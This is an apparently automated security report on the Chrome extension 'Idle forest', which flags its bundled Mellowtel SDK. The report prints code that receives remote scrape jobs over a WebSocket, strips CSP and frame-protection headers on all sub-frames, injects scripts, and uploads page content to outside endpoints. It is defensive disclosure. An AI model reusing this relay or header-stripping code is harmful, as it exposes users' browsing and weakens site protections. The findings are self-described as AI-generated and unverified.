Is Idle forest - Plant trees for free! safe?

Medium risk

Idle Forest bundles the Mellowtel SDK, which loads pages in a hidden tab and sends their content to Mellowtel's servers.

The extension ships the third-party Mellowtel SDK as a content script on every page you visit. It opens a persistent connection to Mellowtel's servers and, on command, loads target web pages in a hidden background tab, converts the page content to text, and sends it back to Mellowtel's infrastructure. To make pages loadable this way, the extension also strips frame and cross-origin security headers from the responses it processes.

dnibnzbckrv2.0.0Chrome Web Store
56Risk
Who publishes it

dnibnzbckr - 2 other listings from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
dnibnzbckr

Same store account

2 other listings published from this account, 70k+ users between them, none of them carrying a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Idle Forest bundles Mellowtel, turning your browser into a scrape relay

Code analysis shows Idle Forest ships the Mellowtel SDK on every page.

Once you opt in, it opens a WebSocket to Mellowtel's server, which can push scrape jobs to your tabs and receive the captured page content back.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open the extension popup and turn on its bandwidth-sharing ("planting") feature.

This opt-in is required before the Mellowtel SDK starts.

The extension did this

The extension opens a persistent WebSocket to Mellowtel's server and waits for remote scrape jobs it can run in your open tabs.

A job loads a target URL in an off-screen tab, captures the rendered page, and uploads it to Mellowtel.

The code that does this

WebSocket command channel and remote job relay

Readable version

Content script bootstrap, reformatted

contents.d42e7fcf.js
d4tj7: [function(e, t, r) {      let n;      var i = e("@parcel/transformer-js/src/esmodule-helpers.js");      i.defineInteropFlag(r), i.export(r, "config", () => o);      var a = e("mellowtel"),        s = i.interopDefault(a);      let o = {          matches: ["<all_urls>"],          all_frames: !0,          run_at: "document_start"        },        l = async () => {          try {            n = new s.default("8418f448");            let e = await n.initContentScript("tabs/pascoli.html");            console.log("Mellowtel initialized:", e)          } catch (e) {            console.error("Error initializing Mellowtel:", e)          }        };      l()    }

WebSocket connect and job relay, reformatted

static/background/index.js
function n1(e) {  return v(this, null, function*() {    if (n9) {      M.log("[\uD83C\uDF10]: Retry attempt already in progress, not starting new connection");      return    }    ie && (clearTimeout(ie), ie = null);    let t = Z(),      r = yield J();    if (M.log("############################################################"), M.log(`[startConnectionWs]: Manifest version: ${t}`), M.log(`[startConnectionWs]: Is in service worker: ${r}`), r) {      let r = yield e7();      if (M.log(`[\u{1F310}]: Effective connection type: ${r}`), !te.includes(r)) {        M.log("[\uD83C\uDF10]: Not connecting to websocket to preserve bandwidth");        return      }      let n, i = yield B("device_disconnect_session", !0);      if (M.log("[\uD83C\uDF10]: Discon.Sess =>", i), i) {        M.log("[\uD83C\uDF10]: Device disconnect for session, not connecting to websocket");        return      }      if ("2" === t.toString() ? (M.log("[\uD83C\uDF10]: MV2 Getting webSocketConnected from DOM MODEL..."), n = null !== document.getElementById("webSocketConnected")) : (M.log("[\uD83C\uDF10]: MV3 Getting webSocketConnected from shared memory..."), n = n4), M.log(`[\u{1F310}]: webSocketConnected: ${n}`), !n) {        if (yield nG.getIfRateLimitReached()) {          M.log("[\uD83C\uDF10]: Rate limit, not connecting to websocket");          let {            timestamp: t,            count: r          } = yield nG.getRateLimitData(), n = Date.now(), i = nG.calculateElapsedTime(n, t);          M.log(`[\u{1F310}]: Time elapsed since last request: ${i}`), i > q && (M.log("[\uD83C\uDF10]: Time elapsed is greater than REFRESH_INTERVAL, resetting rate limit data"), yield S("mllwtl_rate_limit_reached", !1), n7 = 0, yield nG.resetRateLimitData(n, !1), n1(e))        } else {          let r = yield I(), n = yield e3();          M.log(`[\u{1F310}]: Connection speed: ${n} Mbps`);          let i = Y();          M.log(`[\u{1F310}]: Browser: ${i}`);          let a = yield nV(), s = yield nz();          if (M.log(`[\u{1F310}]: Manifest version: ${t}`), M.log(`[\u{1F310}]: Extension identifier: ${r}`), M.log(`[\u{1F310}]: Is Pascoli enabled: ${a}`), M.log(`[\u{1F310}]: Is Burke enabled: ${s}`), !(yield nZ({              device_id: e,              plugin_id: r,              version: U,              speed_download: n,              platform: i,              manifest_version: t.toString(),              pascoli: a,              burke: s            }))) {            M.log("[\uD83C\uDF10]: Websocket connection not approved by API");            return          }          M.log("[\uD83C\uDF10]: Websocket connection approved, establishing connection...");          let o = new c.default(`${n3}?device_id=${e}&version=${U}&plugin_id=${encodeURIComponent(r)}&speed_download=${n}&platform=${i}&manifest_version=${t}&pascoli=${a}&burke=${s}&ws_client=new_ws`);          return o.onopen = function() {            if (n7 = 0, "2" === t.toString()) {              M.log("[\uD83C\uDF10]: MV2 Setting webSocketConnected in DOM MODEL...");              let e = document.createElement("input");              e.setAttribute("type", "hidden"), e.setAttribute("id", "webSocketConnected"), e.setAttribute("value", "true"), document.body.appendChild(e)            } else M.log("[\uD83C\uDF10]: MV3 Setting webSocketConnected in shared memory..."), n4 = !0;            M.log(`[\u{1F310}]: connected with device_id= ${e} and version= ${U}`)          }, o.onclose = function() {            return v(this, null, function*() {              var r;              "3" === t.toString() ? n4 = !1 : null == (r = document.getElementById("webSocketConnected")) || r.remove();              let n = yield B("device_disconnect_session", !0);              if (M.log("[\uD83C\uDF10]: Discon.Sess =>", n), (yield nq()) && !n) {                let t = n8[Math.min(n7, n8.length - 1)];                M.log(`[\u{1F310}]: Connection closed. Attempting reconnect in ${t/1e3} seconds...`), ie = setTimeout(() => v(this, null, function*() {                  n7++, yield n1(e)                }), t)              }            })          }, o.onmessage = function(e) {            return v(this, null, function*() {              if (yield nq()) {                if ((e = JSON.parse(e.data)).hasOwnProperty("type_event") && "heartbeat" === e.type_event) return;                if (e.hasOwnProperty("type_event") && "disconnect_device" === e.type_event) {                  M.log("[\uD83C\uDF10]: Device disconnected, closing connection..."), yield S("device_disconnect_session", !0), o.close();                  return                }                if (e.hasOwnProperty("type_event") && "refresh_cereal" === e.type_event) {                  M.log("[\uD83C\uDF10]: Refreshing cereal frame..."), yield tD();                  return                }                let t = !1;                e.hasOwnProperty("method") && "POST" === e.method && (t = !0);                let r = !1;                e.hasOwnProperty("method") && "GET" === e.method && (r = !0);                let n = !1,                  i = "",                  a = 4,                  s = 500;                if (e.hasOwnProperty("type_event") && "batch" === e.type_event) {                  n = !0, i = e.batch_id;                  let t = "request";                  e.hasOwnProperty("type_batch") && (t = e.type_batch), e.hasOwnProperty("parallel_executions_batch") && (a = Math.min(parseInt(e.parallel_executions_batch), "request" === t ? 4 : 10)), e.hasOwnProperty("delay_between_executions") && (s = parseInt(e.delay_between_executions))                }                let {                  shouldContinue: l,                  isLastCount: c                } = yield nG.checkRateLimit();                if (l || t || n || r) {                  !c || t || n || r || (M.log("[\uD83C\uDF10]: Last count reached, closing connection..."), yield S("mllwtl_rate_limit_reached", !0), o.close()), e.hasOwnProperty("recordID") && (yield tO(e)), M.log("[\uD83C\uDF10]: MV2/MV3 Sending message to a viable content script...");                  let l = !1;                  chrome.tabs.query({}, t => v(this, null, function*() {                    for (let r of t) {                      if (l) {                        M.log("[\uD83C\uDF10]: Tab already replied, breaking...");                        break                      }                      yield R(r.id, {                        intent: "preProcessCrawl",                        data: JSON.stringify(e),                        BATCH_execution: n,                        batch_id: i,                        parallelExecutionsBatch: a,                        delayBetweenExecutions: s                      }).then(e => {                        "success" === e && (M.log("[\uD83C\uDF10]: Tab replied success, setting tabReply to true..."), l = !0)                      })                    }                  }))                } else M.log("[\uD83C\uDF10]: Rate limit reached, closing connection..."), yield S("mllwtl_rate_limit_reached", !0), o.close()              }            })          }, o        }      }    } else M.log("[\uD83C\uDF10]: MV2/MV3 Sending message to background to start websocket..."), yield P({      intent: "startWebsocket",      identifier: e    })  })}
Data sent to Mellowtel when a remote job runs in your browser
  • Persistent device ID
    mllwtl_1a9f3c7e-52b1-4dd0-9e88-6a410cd8f3aa

    A unique identifier for your install. Mellowtel uses it to authorize the WebSocket session and tie scrape jobs back to your device.

  • Page content as Markdown
    # Example Retailer Account (illustrative) Welcome back, ... [View orders](https://example.com/orders)

    The full page a job targeted, serialized to HTML and converted to Markdown, is uploaded as the scrape result.

  • Target URL scraped
    https://example.com/account/orders

    The address a remote job told your browser to open and capture. It does not have to be a page you visited yourself.

  • Batch job ID
    batch_7f2e19

    Groups multiple scrape jobs Mellowtel sent to your browser in one rate-limited burst.

The code that does this

Session-wide header stripping so the off-screen tab can load protected pages

Readable version

Same rule, reformatted

contents.d42e7fcf.js
function et(e, t) {  return new Promise(function(r) {    if (t) r(!1);    else {      let n = eo(e);      el().then(i => {        i ? M({          intent: "disableXFrameHeaders",          hostname: e,          skipHeaders: t        }).then(() => {          r(!0)        }) : (chrome.declarativeNetRequest.updateSessionRules({          removeRuleIds: [n],          addRules: [{            id: n,            priority: 1,            action: {              type: "modifyHeaders",              responseHeaders: [{                header: "x-frame-options",                operation: "remove"              }, {                header: "content-security-policy",                operation: "remove"              }, {                header: "cross-origin-embedder-policy",                operation: "remove"              }, {                header: "cross-origin-opener-policy",                operation: "remove"              }, {                header: "cross-origin-resource-policy",                operation: "remove"              }, {                header: "content-security-policy-report-only",                operation: "remove"              }]            },            condition: {              resourceTypes: ["sub_frame"],              urlFilter: "*://*/*"            }          }]        }), r(!0))      })    }  })}
Where the persistent connection and scraped content go
    • ws.mellow.tel

    Mellowtel's control-plane WebSocket. Pushes remote scrape jobs to the extension and keeps a persistent session open.

    • api.mellow.tel

    Mellowtel's approval endpoint. Gates whether the WebSocket connection is allowed for this device/plugin ID.

    • *.lambda-url.us-east-1.on.aws

    AWS Lambda function URLs Mellowtel uses to ingest scraped page content (Markdown/HTML/PDF text) uploaded from your browser.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Mellowtel SDK loads server-chosen pages in frames with security headers removed

Code analysis shows the extension takes crawl jobs from ws.mellow.tel, loads those URLs in sub-frames with CSP and frame headers removed, and uploads the page content to remote endpoints.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

After opt-in and an approval check, ws.mellow.tel sends a crawl job with a URL.

Jobs carry recordID, url, htmlTransformer and save flags.

The extension did this

The extension loads the URL in a sub-frame and sends the captured page content to a server-supplied endpoint.

The code that does this

Where the extension connects and what it checks first

Readable version

Constants (static/background/index.js)

const WS_URL = "wss://ws.mellow.tel";const APPROVAL_URL = "https://api.mellow.tel/approval";const RECONNECT_BACKOFF_MS = [30000, 60000, 300000, 600000, 1200000, 3600000];const APPROVAL_CACHE_MS = 1800000;
The code that does this

Session rule that removes response protections on sub-frames

Readable version

DNR session rule (static/background/index.js)

chrome.declarativeNetRequest.updateSessionRules({  removeRuleIds: [ruleId],  addRules: [{    id: ruleId, priority: 1,    action: { type: "modifyHeaders", responseHeaders: [      { header: "x-frame-options", operation: "remove" },      { header: "content-security-policy", operation: "remove" },      { header: "cross-origin-embedder-policy", operation: "remove" },      { header: "cross-origin-opener-policy", operation: "remove" },      { header: "cross-origin-resource-policy", operation: "remove" },      { header: "content-security-policy-report-only", operation: "remove" } ] },    condition: { resourceTypes: ["sub_frame"], urlFilter: "*://*/*" }  }]});
The code that does this

Content script injects a server-referenced script and posts results out

Readable version

Injection

// on window message with burkeTrigger:const fileName = await storage.get("mllwtl_BurkeJSFileName");const s = document.createElement("script");s.src = chrome.runtime.getURL(fileName);s.setAttribute("burke-id", msg.recordID);s.setAttribute("api-endpoint", job.endpoint);document.head.appendChild(s);

Upload

// POST result body to the endpoint supplied with the jobfetch(endpoint, { method: "POST", body: result });
Fields posted per crawl job
  • Final URL
    https://example.com/account

    The page the job ended on after redirects.

  • Page HTML
    <html>...</html>

    The loaded page's markup, as the job requests.

  • Status code
    200

    The HTTP status of the loaded page.

  • Device node ID
    node_8f2c1a7e

    An identifier tying results to this installation.

Hosts contacted
    • ws.mellow.tel

    Mellowtel WebSocket that delivers crawl jobs.

    • api.mellow.tel

    Approval check before the WebSocket starts.

    • *.lambda-url.us-east-1.on.aws

    Job-specified endpoints that receive crawl results.

    • speed.cloudflare.com

    Bandwidth speed test of the device.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 2.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Where it sends data

Destinations our analysis observed Idle forest - Plant trees for free! contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ws.mellow.tel

    Idle forest - Plant trees for free! sends data to ws.mellow.tel. 20 other extensions we have analyzed send data here.

  • Mellowtel (third-party SDK)

    Idle forest - Plant trees for free! sends data to Mellowtel (third-party SDK). Named as a recipient by 1 other extensions we have analyzed.

Updated 15 October 2026ofdclafhpmccdddnmfalihgkahgiomjk